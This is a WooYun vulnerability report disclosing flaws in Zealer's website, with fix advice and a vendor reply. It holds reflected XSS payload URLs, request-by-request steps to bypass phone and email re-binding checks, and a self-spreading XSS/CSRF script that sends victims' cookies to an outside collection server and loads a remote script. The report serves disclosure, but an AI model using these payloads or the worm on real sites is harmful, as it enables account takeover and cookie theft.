当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0158697

漏洞标题:Zealer若干安全漏洞打包(附XSS+CSRF+逻辑错误+社工=综合利用思路与实践/可完全控制账户)

相关厂商:ZEALER

漏洞作者: kevinchowsec

提交时间:2015-12-07 12:23

修复时间:2016-01-23 15:16

公开时间:2016-01-23 15:16

漏洞类型:XSS 跨站脚本攻击

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-07: 细节已通知厂商并且等待厂商处理中
2015-12-11: 厂商已经确认,细节仅向厂商公开
2015-12-21: 细节向核心白帽子及相关领域专家公开
2015-12-31: 细节向普通白帽子公开
2016-01-10: 细节向实习白帽子公开
2016-01-23: 细节向公众公开

简要描述:

Hi,It's me again,Zealer最近可好?

详细说明:

1、XSS跨站
①反射型XSS(还有很多很多,请自检)
http://www.zealer.com/login/?from=index&redirect=hello%22-alert(%252fXSS%252f)-%22hello
http://www.zealer.com/forgot?redirect=hello%22-alert(%252fXSS%252f)-%22hello
http://plus.zealer.com/post/5498?hello%27-alert(%2fXSS%2f)-%27hello
http://www.zealer.com/media?cid=hello%22+onmousemove%3d%22alert(%2fXSS%2f)&index=3
http://plus.zealer.com/search?keyword=hello%22+onfocus%3d%22alert(%2fXSS%2f)%22+autofocus%3d%22autofocus
②存储型XSS
http://www.zealer.com/user/post description参数
2、跳转钓鱼
http://www.zealer.com/login/?from=index&redirect=http%3A%2F%2Fwww.wooyun.org%2F
3、重放攻击
http://www.zealer.com/login/resetpassword?confirmation=a6afb5e1ae1097b936cf764e3*******
4、绕过图形验证码爆破
http://www.zealer.com/login/login
5、CSRF
http://www.zealer.com/user/post
6、短信验证码暴力破解
7、绕过旧手机验证改绑
8、绕过旧邮箱验证改绑
9、综合利用,效果:完全控制账户

漏洞证明:

1、XSS跨站
①反射型XSS(还有很多很多,请自检)

反射型XSS.png


②存储型XSS
http://www.zealer.com/user/post description参数

存储型XSS.png


2、跳转钓鱼
http://www.zealer.com/login/?from=index&redirect=http%3A%2F%2Fwww.wooyun.org%2F 用户访问后会跳到指定网站,存在钓鱼风险。

URL跳转1.png


URL跳转2.png


3、重放攻击
http://www.zealer.com/login/resetpassword?confirmation=a6afb5e1ae1097b936cf764e3*******
重置密码的密文我推理不出来,但却可以重复使用,且时间很长很长很长。重置密码链接应该是一次性的、且唯一有效的(同一账户不能存在两个或以上能重置密码的confirmation)。这里不截图,请自行测试。
4、绕过图形验证码爆破
http://www.zealer.com/login/login 登录接口使用X-Forwarded-For可以绕过图形验证码,继续爆破。

绕过图形验证码爆破1.png


5、CSRF
http://www.zealer.com/user/post 实际上有很多很多处存在CSRF,请重点检查购物车-收货地址处

CSRF.png


6、短信验证码暴力破解

绑定手机-暴力破解短信验证码1.png


绑定手机-暴力破解短信验证码2.png


7、绕过旧手机验证改绑
按照流程,一步一步走就可以了。
①方法(利用没有绑定过手机号的流程):
http://www.zealer.com/user/getCode POST:mobile=新手机号
http://www.zealer.com/user/sendCode POST:mobile=新手机号&code=接收到的短信验证码&set=0&password=
----------------------------------------------
②方法(利用前端欺骗绕过限制进入新手机号绑定流程):
http://www.zealer.com/user/verifyUpdateChance 前端欺骗绕过,修改response返回消息为:{"status":"\u9a8c\u8bc1\u6210\u529f","message":"","info":""},进入旧手机号验证界面
http://www.zealer.com/user/oldMobileVerify POST:mobile=随便输11位数字&code=随便输6位数字 前端欺骗绕过,修改response返回消息为:{"status":"\u9a8c\u8bc1\u6210\u529f","message":"","info":""},进入新手机号验证界面
http://www.zealer.com/user/getCode POST:mobile=新手机号
http://www.zealer.com/user/sendCode POST:mobile=新手机号&code=接收到的短信验证码&type=old&set=0

验证绕过-绕过旧手机号验证改绑.png


8、绕过旧邮箱验证改绑
http://www.zealer.com/user/emailSendCode POST:email=新邮箱地址&type=new&pwd=y
http://www.zealer.com/user/emailVerify POTS:email=新邮箱地址&code=新邮箱收到的验证码&pwd=y

验证绕过-绕过旧邮箱验证改绑.png


9、综合利用,效果:完全控制账户
①准备工作:注册用户名“兄弟敢不敢看我简介”、窃取COOKIE和CSRF修改简介和头像的脚本;

A1.png


(function() { (new Image()).src = 'http://www.kevinchow.cn/xss/index.php?do=api&id=SY4Vjb&location=' + escape((function() {
try {
return document.location.href
} catch(e) {
return ''
}
})()) + '&toplocation=' + escape((function() {
try {
return top.location.href
} catch(e) {
return ''
}
})()) + '&cookie=' + escape((function() {
try {
return document.cookie
} catch(e) {
return ''
}
})()) + '&opener=' + escape((function() {
try {
return (window.opener && window.opener.location.href) ? window.opener.location.href: ''
} catch(e) {
return ''
}
})());
})();
if ('1' == 1) {
keep = new Image();
keep.src = 'http://www.kevinchow.cn/xss/index.php?do=keepsession&id=SY4Vjb&url=' + escape(document.location) + '&cookie=' + escape(document.cookie)
};
function submitRequest() {
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.zealer.com/user/reUpload", true);
xhr.setRequestHeader("Accept", "application/json, text/javascript, */*; q=0.01");
xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
xhr.withCredentials = true;
var body = "x=0&y=15.084&w=400.564&h=400.56399999999996&pid=331503";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.zealer.com/user/post", true);
xhr.setRequestHeader("Accept", "application/json, text/javascript, */*; q=0.01");
xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
xhr.withCredentials = true;
var body = "description=%e6%84%9f%e8%b0%a2%e4%bd%a0%e6%9d%a5%e7%9c%8b%e6%88%91%ef%bc%8c%e6%88%91%e6%98%af%e4%bd%a0%e7%9a%84%e5%a5%bd%e4%bc%99%e4%bc%b4%ef%bc%8c%e7%88%b1Zealer%e4%b8%80%e5%a6%82%e6%97%a2%e5%be%80%ef%bc%8c%e9%a9%b7%e9%a9%ac%e9%9a%be%e8%bf%bd%e3%80%82By+the+way%2cPeace%26Love%7e%22onmouseover%3d%22s%3dcreateElement(%27script%27)%3bbody.appendChild(s)%3bs.src%3d%27http%3a%2f%2ft.cn%2fRUs04N5%27";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
var newWindow = window.open('http://plus.zealer.com/user?id=473785');
}
submitRequest();


②散播消息:私信批量发送到每个用户、论坛帖子批量回复、点赞、打赏,提高曝光率,引导到构造好的个人简介信息页面(http://plus.zealer.com/user/473785);

A2.png


A3.png


③实际攻击:用户访问页面并触发XSS,会发送其cookie,个人简介处感染XSS攻击代码,一个传染俩;

A5.png


A4.png


④后续控制:得到用户cookie,登录后利用逻辑错误漏洞绕过旧邮箱验证改绑、绕过旧手机验证改绑,再通过密码找回功能重置其密码,完全控制其账户。
这里录有一段改绑的gif:

http://www.kevinchow.cn/images/Zealer_email&phone.gif

修复方案:

1、检查所有站点所有页面,过滤关键危险字符,防止XSS;
2、建立referer白名单,防止CSRF;
3、验证URL合法性,防止跳转钓鱼;
4、防止X-Forwarded-For伪造绕过IP检查;
5、接口限制用户批量提交数据,防止用户暴力破解验证码、密码、批量私信评论回复等;
6、修正逻辑错误,防止绕过旧有绑定。

版权声明:转载请注明来源 kevinchowsec@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-12-11 15:05

厂商回复:

正在处理

最新状态:

暂无


漏洞评价:

评价